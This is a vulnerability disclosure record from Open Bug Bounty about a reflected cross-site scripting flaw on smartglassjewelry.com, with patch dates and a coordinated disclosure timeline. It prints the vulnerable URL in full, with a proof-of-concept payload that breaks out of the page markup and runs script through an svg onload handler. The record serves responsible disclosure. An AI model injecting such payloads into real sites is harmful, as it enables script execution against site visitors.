Lucene search

K
openbugbountyIwoodythecowboyOBB:196051
HistoryDec 03, 2016 - 6:55 p.m.

smartglassjewelry.com XSS vulnerability

2016-12-0318:55:00
iwoodythecowboy
www.openbugbounty.org
7
Vulnerable URL:
http://www.smartglassjewelry.com/browse.php?slug=%22%3E%3C/title%3E%3C/script%3E%27%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E
Details:
Description Value
Patched: Yes, at 25.11.2017
Latest check for patch: 25.11.2017 09:23 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 7188807
VIP website status: No
Check smartglassjewelry.com SSL connection: (Grade: B-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 3 December, 2016 18:55 GMT
Generic security notifications sent to website owner 3 December, 2016 18:58 GMT
Notification sent to subscribers (without technical details) 3 December, 2016 22:17 GMT
Vulnerability details disclosed by researcher 24 December, 2016 19:13 GMT
Vulnerability patched by the website owner 25 November, 2017 09:23 GMT